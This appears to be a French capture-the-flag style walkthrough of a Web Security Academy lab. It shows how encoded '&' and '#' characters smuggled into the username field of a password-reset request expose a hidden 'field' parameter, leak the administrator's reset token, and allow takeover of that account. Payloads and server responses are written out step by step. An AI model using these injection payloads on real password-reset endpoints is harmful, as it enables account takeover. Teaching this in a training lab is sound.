Pollution de paramètres côté serveur dans la query string

Exploiting server-side parameter pollution in a query string

Lab: Exploiting server-side parameter pollution in a query string | Web Security AcademyWebSecAcademy

Objectif du laboratoire Se connecter en tant qu’administrateur puis supprimer l’utilisateur carlos.

Fonctionnalité Forgot password

Une fonctionnalité de réinitialisation de mot de passe est disponible.

La requête envoyée côté serveur est la suivante :

csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator

La réponse du serveur est :

{
    "type":"email",
    "result":"*****@normal-user.net"
}

Tentatives de pollution de paramètres

On essaie d’ajouter un nouveau paramètre via & :

csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&test=test

ou encodé :

csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26test=test

Le serveur répond :

{
    "error": "Parameter is not supported."
}

Utilisation du caractère #

Avec #, le comportement change :

csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator#test=test

ou encodé :

csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%23test=test

Réponse du serveur :

{
    "error": "Field not specified."
}

Cela indique l’existence d’un paramètre field attendu côté serveur.

Découverte du paramètre field

On envoie alors :

csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=test

Ensuite, on combine field avec # pour injecter des valeurs supplémentaires :

csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=x#

ou encodé :

csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=x%23

En testant différentes server-side variable names, on obtient une réponse valide avec le code 200, révélant les champs email et username.

Analyse du fichier JavaScript forgot-password.js

Un fichier JavaScript accessible révèle la logique suivante :

• Les données du formulaire sont encodées manuellement.

• La requête est envoyée via fetch en POST.

• Si la réponse contient la propriété result, le message Please check your email est affiché.

• Un paramètre reset-token est récupéré depuis la query string :

let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "Invalid username";
                }
                else
                {
                    forgotPasswordError.textContent = `Please check your email: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "Invalid username";
            });
    } catch (error) {
        console.error("Unexpected Error:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?reset_token=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});

Cela confirme l’existence d’un paramètre reset_token exploitable.

Exploitation du paramètre reset_token

On injecte alors ce paramètre via la pollution serveur :

csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=reset_token%23

Le serveur répond :

{
    "type":"reset_token","result":"62ptz5mdgs48omh0u3uf3z7b7w9kiybt"
}

Réinitialisation du mot de passe administrateur

En utilisant le token obtenu, on accède à l’URL suivante :

/forgot-password?reset_token=62ptz5mdgs48omh0u3uf3z7b7w9kiybt

Cela permet de réinitialiser le mot de passe de l’administrateur, se connecter avec ce compte, puis supprimer l’utilisateur carlos, validant ainsi le laboratoire.